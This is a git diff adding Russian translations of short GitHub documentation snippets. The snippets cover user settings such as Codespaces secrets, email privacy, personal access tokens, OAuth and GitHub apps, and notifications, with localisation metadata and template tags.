a/translations/ru-RU/data/reusables/user-settings/codespaces-secret-repository-access.md b/translations/ru-RU/data/reusables/user-settings/codespaces-secret-repository-access.md new file mode 100644 index 000000000000..02da06414056 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/codespaces-secret-repository-access.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3d0ddcbb03772e680390b0e666cd2d11df04bfd2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109672" +--- +1. Выберите раскрывающееся меню "Доступ к репозиторию", а затем выберите репозиторий, к которому секрету требуется предоставить доступ. Повторите это действие для каждого репозитория, к которому секрету требуется предоставить доступ. + ![Раскрывающееся меню "Доступ к репозиторию"](/assets/images/help/settings/codespaces-secret-repository-access-drop-down.png) diff --git a/translations/ru-RU/data/reusables/user-settings/codespaces-secret-value.md b/translations/ru-RU/data/reusables/user-settings/codespaces-secret-value.md new file mode 100644 index 000000000000..12a0cf1b6992 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/codespaces-secret-value.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e961824f3826a277eceaedbbe989668717691b94 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070088" +--- +1. В поле "Значение" введите значение секрета. + ![Текстовое поле "Значение"](/assets/images/help/settings/codespaces-secret-value-field.png) diff --git a/translations/ru-RU/data/reusables/user-settings/codespaces-tab.md b/translations/ru-RU/data/reusables/user-settings/codespaces-tab.md new file mode 100644 index 000000000000..e59d8c0821ad --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/codespaces-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b6e2f7f298974788c1e4acd9e371451fe2a7b6d9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109667" +--- +1. В разделе "Код, планирование и автоматизация" на боковой панели нажмите **{% octicon "codespaces" aria-label="The codespaces icon" %} Codespaces**. diff --git a/translations/ru-RU/data/reusables/user-settings/confirm_git_email_address_correct.md b/translations/ru-RU/data/reusables/user-settings/confirm_git_email_address_correct.md new file mode 100644 index 000000000000..e439b82d1b9a --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/confirm_git_email_address_correct.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 00b446e34b06a90597df4420a818b49bb95fb934 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878549" +--- +Убедитесь, что адрес электронной почты правильно задан в Git: diff --git a/translations/ru-RU/data/reusables/user-settings/confirm_git_username_correct.md b/translations/ru-RU/data/reusables/user-settings/confirm_git_username_correct.md new file mode 100644 index 000000000000..b6b24457fa16 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/confirm_git_username_correct.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 48ec4fea48821c68f2dddb3cf18c13dbd27bf6d4 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145109659" +--- +Убедитесь, что вы правильно задали имя пользователя Git: diff --git a/translations/ru-RU/data/reusables/user-settings/context_switcher.md b/translations/ru-RU/data/reusables/user-settings/context_switcher.md new file mode 100644 index 000000000000..de6ec7b9329b --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/context_switcher.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e98277d70c8c9ee5690a2a75e9cc1116bb08bbbe +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109651" +--- +Необходимо управлять параметрами выставления счетов и платными функциями для каждой учетной записи отдельно. Можно переключаться между параметрами для личной учетной записи, учетных записей организации и корпоративных учетных записей с помощью переключателя контекста на каждой странице параметров. Дополнительные сведения см. в разделе [Переключение между параметрами для различных учетных записей](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts). diff --git a/translations/ru-RU/data/reusables/user-settings/copilot-settings.md b/translations/ru-RU/data/reusables/user-settings/copilot-settings.md new file mode 100644 index 000000000000..5e87d83aa225 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/copilot-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d8afd12a08948f51e766a9a67190db1c8d468ed7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080726" +--- +1. На левой боковой панели щелкните **{% octicon "copilot" aria-label="The copilot icon" %} GitHub Copilot**. diff --git a/translations/ru-RU/data/reusables/user-settings/deleted-repos.md b/translations/ru-RU/data/reusables/user-settings/deleted-repos.md new file mode 100644 index 000000000000..24c0fb459b8d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/deleted-repos.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1e965e34cf48e789208684042f7357a0921154f8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109611" +--- +1. В разделе "Репозитории" щелкните **Удаленные репозитории**. + ![Вкладка «Удаленные репозитории»](/assets/images/help/settings/deleted-repos.png) diff --git a/translations/ru-RU/data/reusables/user-settings/developer_settings.md b/translations/ru-RU/data/reusables/user-settings/developer_settings.md new file mode 100644 index 000000000000..ab9e41628460 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/developer_settings.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **{% octicon "code" aria-label="The code icon" %} Developer settings**. +{% else %} +1. In the left sidebar, click **Developer settings**. + ![Developer settings](/assets/images/help/settings/developer-settings.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/edit_marketplace_listing.md b/translations/ru-RU/data/reusables/user-settings/edit_marketplace_listing.md new file mode 100644 index 000000000000..979c5c0e574e --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/edit_marketplace_listing.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2c05cb45fb10e833bcf059563dd1253d950fe6bd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109600" +--- +5. На целевой странице параметров приложения прокрутите вниз, до раздела Marketplace, и щелкните **Разместить в Marketplace**. Если у вас уже есть черновик размещения в Marketplace, щелкните **Изменить размещение в Marketplace**. Раздел Marketplace отображается только в том случае, если вы при регистрации приложения разрешили устанавливать приложение любым пользователям или организациям. Дополнительные сведения см. в списке [требований Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace/). +![ссылка на изменение размещения в GitHub Marketplace](/assets/images/marketplace/marketplace_edit_listing_text.png) diff --git a/translations/ru-RU/data/reusables/user-settings/emails.md b/translations/ru-RU/data/reusables/user-settings/emails.md new file mode 100644 index 000000000000..fc8b1d772de0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/emails.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Emails**. +{% else %} +1. In the left sidebar, click **Emails**. +![Emails tab](/assets/images/help/settings/settings-sidebar-emails.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/enabling-fixed-width-fonts.md b/translations/ru-RU/data/reusables/user-settings/enabling-fixed-width-fonts.md new file mode 100644 index 000000000000..b0ad0b45123c --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/enabling-fixed-width-fonts.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e5d63dde96f1d9248b78da4c7877f21fc19c2b53 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180650" +--- +{% ifversion fixed-width-font-gfm-fields %} + +Если вы часто редактируете фрагменты кода и таблицы, может быть удобно включить моноширинный шрифт во всех полях комментариев в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Включение моноширинных шрифтов в редакторе](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github#enabling-fixed-width-fonts-in-the-editor). + +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md new file mode 100644 index 000000000000..5d1e66e35629 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +The REST API for enterprise administrators only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %} ](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/export-data.md b/translations/ru-RU/data/reusables/user-settings/export-data.md new file mode 100644 index 000000000000..63af2cb9da4b --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/export-data.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3728957f2b45d37dbc2cbd175176a450702c1848 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109592" +--- +{% ifversion fpt or ghec %} Вы можете экспортировать и просмотреть метаданные вашей личной учетной записи, которые хранятся в {% data variables.product.product_name %}. +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/generate_new_token.md b/translations/ru-RU/data/reusables/user-settings/generate_new_token.md new file mode 100644 index 000000000000..e841cbc9ffb0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/generate_new_token.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f6c0501ff193ac2eac58fca54713ccfd2eb1eaaf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145109587" +--- +1. Щелкните **Generate new token** (Создание нового маркера). + Нажмите кнопку ![Сгенерировать новый токен](/assets/images/help/settings/generate_new_token.png). diff --git a/translations/ru-RU/data/reusables/user-settings/generic-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/generic-classic-pat-only.md new file mode 100644 index 000000000000..4ef0c45fdad2 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/generic-classic-pat-only.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 10ac7d5e73b168367752279f4ac9002cfbbc1240 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107432" +--- +Можно использовать только {% data variables.product.pat_v1 %}, а не {% data variables.product.pat_v2 %}. diff --git a/translations/ru-RU/data/reusables/user-settings/github_apps.md b/translations/ru-RU/data/reusables/user-settings/github_apps.md new file mode 100644 index 000000000000..cd6bf92a060b --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/github_apps.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2eab4b9b0d0162a8c14d350cfff5ce2efd9387b4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109584" +--- +1. На левой боковой панели щелкните **Приложения GitHub**. +![Раздел "Приложения GitHub"](/assets/images/settings/github_apps.png) diff --git a/translations/ru-RU/data/reusables/user-settings/github_apps_advanced.md b/translations/ru-RU/data/reusables/user-settings/github_apps_advanced.md new file mode 100644 index 000000000000..c18db27c932b --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/github_apps_advanced.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0d139aa0dbb5ea7142bb4e8eafd7523bd23b378e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109579" +--- +1. На боковой панели слева выберите **Дополнительно**. +![Вкладка "Дополнительно"](/assets/images/github-apps/github_apps_advanced.png) diff --git a/translations/ru-RU/data/reusables/user-settings/graphql-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/graphql-classic-pat-only.md new file mode 100644 index 000000000000..93c69106411e --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/graphql-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +The GraphQL API only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %} ](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/imports-api-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/imports-api-classic-pat-only.md new file mode 100644 index 000000000000..42f6104c0d5d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/imports-api-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +The REST API for source imports only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %} ](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/jira_help_docs.md b/translations/ru-RU/data/reusables/user-settings/jira_help_docs.md new file mode 100644 index 000000000000..5d3000267e15 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/jira_help_docs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: db2c426cd7b8a6ba65ff0353b1de7ab8c48a4c33 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147548083" +--- +1. Свяжите учетную запись GitHub с Jira. Дополнительные сведения см. в [справочной документации по Atlassian](https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html). diff --git a/translations/ru-RU/data/reusables/user-settings/keeping_your_email_address_private.md b/translations/ru-RU/data/reusables/user-settings/keeping_your_email_address_private.md new file mode 100644 index 000000000000..11035099fcfe --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/keeping_your_email_address_private.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 104bedd7bcdc94a318bfefe05924762660ecefbd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115312" +--- +5. Чтобы не раскрывать свой адрес электронной почты при выполнении веб-операций GIT, щелкните **Не раскрывать мои адреса электронной почты**. +![Изображение флажка "Не раскрывать мои адреса электронной почты"](/assets/images/help/settings/email_privacy.png) diff --git a/translations/ru-RU/data/reusables/user-settings/link_email_with_your_account.md b/translations/ru-RU/data/reusables/user-settings/link_email_with_your_account.md new file mode 100644 index 000000000000..a1fe007143e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/link_email_with_your_account.md @@ -0,0 +1,3 @@ +{% ifversion not ghae %} +Add the email address to your account on {% data variables.product.product_name %}, so that your commits are attributed to you and appear in your contributions graph. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/marketplace_apps.md b/translations/ru-RU/data/reusables/user-settings/marketplace_apps.md new file mode 100644 index 000000000000..98adc5158035 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/marketplace_apps.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 79a66754d506f445d80a50fb1122bc635dd43143 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145119168" +--- +{% ifversion fpt or ghec %} +1. На левой боковой панели выберите пункт **Приложения OAuth** или **Приложения GitHub** в зависимости от профиля {% data variables.product.prodname_marketplace %}, которым нужно управлять. **Примечание**. Управлять профилем можно также на странице https://github.com/marketplace/manage. +![Выбор типа приложения](/assets/images/settings/apps_choose_app.png) + +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/modify_github_app.md b/translations/ru-RU/data/reusables/user-settings/modify_github_app.md new file mode 100644 index 000000000000..581257e89854 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/modify_github_app.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5d7270768d8d4b1c57125a6f77e448bccc070110 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145119160" +--- +1. Справа от {% data variables.product.prodname_github_app %}, которые нужно изменить, щелкните **Изменить**. +![Выбор приложения](/assets/images/github-apps/github_apps_select-app.png) diff --git a/translations/ru-RU/data/reusables/user-settings/modify_oauth_app.md b/translations/ru-RU/data/reusables/user-settings/modify_oauth_app.md new file mode 100644 index 000000000000..8e42629bab24 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/modify_oauth_app.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0c93f5e82c252b73ce541f9935409ef192dcb596 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145119155" +--- +1. Выберите приложение {% data variables.product.prodname_oauth_app %}, которое нужно изменить. +![Выбор приложения](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png) diff --git a/translations/ru-RU/data/reusables/user-settings/no-verification-disposable-emails.md b/translations/ru-RU/data/reusables/user-settings/no-verification-disposable-emails.md new file mode 100644 index 000000000000..8567056b70aa --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/no-verification-disposable-emails.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6f1ea9dc8aab7063a1cf33e7422deb13d2051ddd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145119432" +--- +Вы не можете проверять адреса электронной почты из служб одноразовых адресов электронной почты (служб, позволяющих получать электронную почту на временный адрес, срок действия которого истекает через определенное время). Если вы хотите, чтобы адрес электронной почты оставался личным, можно использовать адрес электронной почты `noreply`, предоставленный {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в статье "[Указание адреса электронной почты для фиксаций в {% data variables.product.prodname_dotcom %}](/articles/setting-your-commit-email-address#setting-your-commit-email-address-on-github)". diff --git a/translations/ru-RU/data/reusables/user-settings/notifications-api-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/notifications-api-classic-pat-only.md new file mode 100644 index 000000000000..2a546967e01e --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/notifications-api-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +The REST API to manage notifications only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %} ](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/notifications.md b/translations/ru-RU/data/reusables/user-settings/notifications.md new file mode 100644 index 000000000000..70405f1dc6e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/notifications.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4d6850e7a542cf8696fd769457f291f247a661b6 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145119152" +--- +1. На боковой панели параметров пользователя щелкните **Уведомления**. +![Центр уведомлений](/assets/images/help/settings/settings-sidebar-notifications.png) diff --git a/translations/ru-RU/data/reusables/user-settings/oauth_apps.md b/translations/ru-RU/data/reusables/user-settings/oauth_apps.md new file mode 100644 index 000000000000..9531b586a49c --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/oauth_apps.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 83e666efe7b1a38e21a4d0630e9cfff0477d34d0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145119147" +--- +1. На левой боковой панели щелкните **{% data variables.product.prodname_oauth_apps %}** . +![Раздел "Приложения OAuth"](/assets/images/help/settings/developer-settings-oauth-apps.png) diff --git a/translations/ru-RU/data/reusables/user-settings/organizations.md b/translations/ru-RU/data/reusables/user-settings/organizations.md new file mode 100644 index 000000000000..beceae5f16f9 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/organizations.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "organization" aria-label="The organization icon" %} Organizations**. +{% else %} +1. In your user settings sidebar, click **Organizations**. +![User settings for organizations](/assets/images/help/settings/settings-user-orgs.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation-desktop.md b/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation-desktop.md new file mode 100644 index 000000000000..651237e761fb --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation-desktop.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 83ecc7405569cca2d2072490b1e019b55b319b6d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067440" +--- + {% warning %} + + **Предупреждение.** Проверка подлинности в {% data variables.product.prodname_dotcom %} с использованием имени пользователя и пароля не поддерживается. Требуется пройти проверку подлинности с помощью браузера. + + {% endwarning %} diff --git a/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation.md b/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation.md new file mode 100644 index 000000000000..3cb8481a532d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/password-authentication-deprecation.md @@ -0,0 +1 @@ +When Git prompts you for your password, enter your {% data variables.product.pat_generic %}. Alternatively, you can use a credential helper like [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md).{% ifversion not ghae %} Password-based authentication for Git has been removed in favor of more secure authentication methods.{% endif %} For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." diff --git a/translations/ru-RU/data/reusables/user-settings/pat-v2-beta.md b/translations/ru-RU/data/reusables/user-settings/pat-v2-beta.md new file mode 100644 index 000000000000..6d8028a884fb --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/pat-v2-beta.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 81b9966c5d5217bb10224a79df2ab56b0579fc54 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107424" +--- +{% data variables.product.pat_v2_caps %} сейчас находятся в бета-версии и могут быть изменены. Чтобы оставить отзыв, [ознакомьтесь с обсуждением отзывов](https://github.com/community/community/discussions/36441). diff --git a/translations/ru-RU/data/reusables/user-settings/pat-v2-org-opt-in.md b/translations/ru-RU/data/reusables/user-settings/pat-v2-org-opt-in.md new file mode 100644 index 000000000000..522f12072a68 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/pat-v2-org-opt-in.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: cdcecb28e2d67d43c34a66c7d98f4e8ac686bc23 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106704" +--- +{% note %} + +**Примечание**. {% data reusables.user-settings.pat-v2-beta %} + +Во время бета-версии организации должны согласиться на использование {% data variables.product.pat_v2 %}s. {% ifversion ghec or ghes or ghae %} Если ваша организация принадлежит предприятию и она согласилась на использование {% data variables.product.pat_v2 %}s, ваша организация будет включена по умолчанию. {% endif %} Если ваша организация еще не согласилась на эту процедуру, при выполнении описанных ниже действий вам будет предложено согласиться и задать политики. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/user-settings/patv2-filters.md b/translations/ru-RU/data/reusables/user-settings/patv2-filters.md new file mode 100644 index 000000000000..be7fab4f6a13 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/patv2-filters.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: f80aa01c3d1f69ac77a65e21f4723a25b2d8ebc6 +ms.sourcegitcommit: d309541e8f0e28bc1ec333a85b00218627e54fe1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/03/2022 +ms.locfileid: "148131397" +--- +1. При необходимости используйте фильтры для отображения только определенных маркеров. + - Используйте раскрывающийся список **Владелец** , чтобы отфильтровать маркеры по участнику, создавшему маркер. + - Используйте раскрывающийся список **Репозиторий** , чтобы отфильтровать маркеры по доступу к репозиторию. + - Используйте раскрывающийся список **Разрешения** , чтобы отфильтровать маркеры по разрешению. diff --git a/translations/ru-RU/data/reusables/user-settings/patv2-limitations.md b/translations/ru-RU/data/reusables/user-settings/patv2-limitations.md new file mode 100644 index 000000000000..fae776a017c0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/patv2-limitations.md @@ -0,0 +1,28 @@ +--- +ms.openlocfilehash: de2f4c96c3a86d64a11bfb8c5fbdc4f4082601e8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107576" +--- +{% note %} + +**Примечание.** В настоящее время некоторые функции работают только с {% data variables.product.pat_v1_plural %}: + +- Только {% data variables.product.pat_v1_plural %} имеет доступ на запись для общедоступных репозиториев, которые не принадлежат вам или организации, членом которых вы не являетесь. {% ifversion ghec or ghes or ghae %} +- Только {% data variables.product.pat_v1_plural %} автоматически имеют доступ на запись для внутренних репозиториев, принадлежащих вашему предприятию. {% data variables.product.pat_v2_caps %}s должен быть предоставлен доступ к внутренним репозиториям. {% endif %} +- Внешние участники совместной работы могут использовать только {% data variables.product.pat_v1_plural %} для доступа к репозиториям организации, в которых они являются участниками совместной работы. {% ifversion ghec or ghes or ghae %} +- Доступ к предприятиям может получить только {% data variables.product.pat_v1_plural %}. ({% data variables.product.pat_v2_caps %} может получить доступ к организациям, принадлежащим предприятиям.) {% endif %} +- Следующие API поддерживают только {% data variables.product.pat_v1_plural %}. Список операций REST API, поддерживаемых для {% data variables.product.pat_v2 %}, см. в разделе [Конечные точки, доступные для {% data variables.product.pat_v2 %}s](/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens). + - API GraphQL{% ifversion ghec or ghes or ghae %} + - REST API для администраторов предприятия{% endif %}{% ifversion ghec or fpt %} + - REST API для управления импортом источника{% endif %} + - REST API для управления {% data variables.product.prodname_projects_v1_caps %} + - REST API для управления {% data variables.product.prodname_registry %} + - REST API для управления уведомлениями + - REST API для передачи репозитория + - REST API для создания репозитория на основе шаблона + - REST API для создания репозитория для пользователя, прошедшего проверку подлинности + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/user-settings/payment-info-link.md b/translations/ru-RU/data/reusables/user-settings/payment-info-link.md new file mode 100644 index 000000000000..9c921d07cf91 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/payment-info-link.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d61f4bb3ed6bb46742230ccd65834b774ed3c73a +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067433" +--- +1. В верхней части страницы щелкните **Платежная информация**. + ![Ссылка "Платежная информация"](/assets/images/help/settings/payment-info-link.png) diff --git 